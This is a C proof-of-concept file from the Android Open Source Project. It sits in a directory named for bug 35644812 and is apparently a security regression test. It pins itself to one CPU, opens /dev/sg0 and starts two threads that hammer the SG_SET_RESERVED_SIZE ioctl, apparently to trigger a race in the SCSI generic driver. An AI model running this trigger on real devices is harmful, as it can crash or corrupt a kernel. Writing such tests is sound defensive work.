Home | History | Annotate | Download | only in Bug-35644812
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #ifndef _GNU_SOURCE
     18 #define _GNU_SOURCE
     19 #endif
     20 
     21 #include <string.h>
     22 
     23 #include <android/log.h>
     24 #include <dirent.h>
     25 #include <dlfcn.h>
     26 #include <errno.h>
     27 #include <fcntl.h>
     28 #include <linux/futex.h>
     29 #include <pthread.h>
     30 #include <sched.h>
     31 #include <signal.h>
     32 #include <stdbool.h>
     33 #include <stdio.h>
     34 #include <stdlib.h>
     35 #include <sys/ioctl.h>
     36 #include <sys/mman.h>
     37 #include <sys/mount.h>
     38 #include <sys/ptrace.h>
     39 #include <sys/select.h>
     40 #include <sys/socket.h>
     41 #include <sys/stat.h>
     42 #include <sys/syscall.h>
     43 #include <sys/system_properties.h>
     44 #include <sys/time.h>
     45 #include <sys/types.h>
     46 #include <sys/un.h>
     47 #include <sys/utsname.h>
     48 #include <sys/wait.h>
     49 #include <unistd.h>
     50 
     51 int fd;
     52 
     53 void in_cpu() {
     54   int num_processors = sysconf(_SC_NPROCESSORS_CONF);
     55   cpu_set_t get;
     56   int i = 0;
     57   CPU_ZERO(&get);
     58   sched_getaffinity(0, sizeof(cpu_set_t), &get);
     59   for (int i = 0; i < num_processors; i++) {
     60     if (CPU_ISSET(i, &get)) {
     61       printf("The current thread  bound to core %d\n", i);
     62     }
     63   }
     64 }
     65 static void bind_child_to_cpu() {
     66   in_cpu();
     67   cpu_set_t set;
     68   CPU_ZERO(&set);
     69   CPU_SET(1, &set);
     70   sched_setaffinity(0, sizeof(set), &set);
     71   in_cpu();
     72 }
     73 
     74 #define BLKTRACETEARDOWN _IO(0x12, 118)
     75 #define SG_SET_RESERVED_SIZE 0x2275
     76 #define SG_GET_RESERVED_SIZE 0x2272
     77 static void* overwrite(void* param) {
     78   int ret;
     79   for (int i = 0; i < 100000; i++) {
     80     int size = 0x100;
     81     int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size);
     82     printf("ioctl error =%d %s\n", n, strerror(errno));
     83   }
     84   return param;
     85 }
     86 
     87 int functionOne() {
     88   sleep(2);
     89   char filename[128];
     90   strcpy(filename, "/dev/sg0");
     91 
     92   fd = open(filename, 2);
     93   if (fd == -1) {
     94     return -1;
     95   }
     96 
     97   pthread_t thread0;
     98   for (int i = 0; i < 2; i++) {
     99     if (pthread_create(&thread0, NULL, overwrite, NULL))
    100       perror("overwritethread pthread_create()");
    101   }
    102 
    103   return 0;
    104 }
    105 
    106 int main(int argc, char** argv, char** env) { return functionOne(); }
    107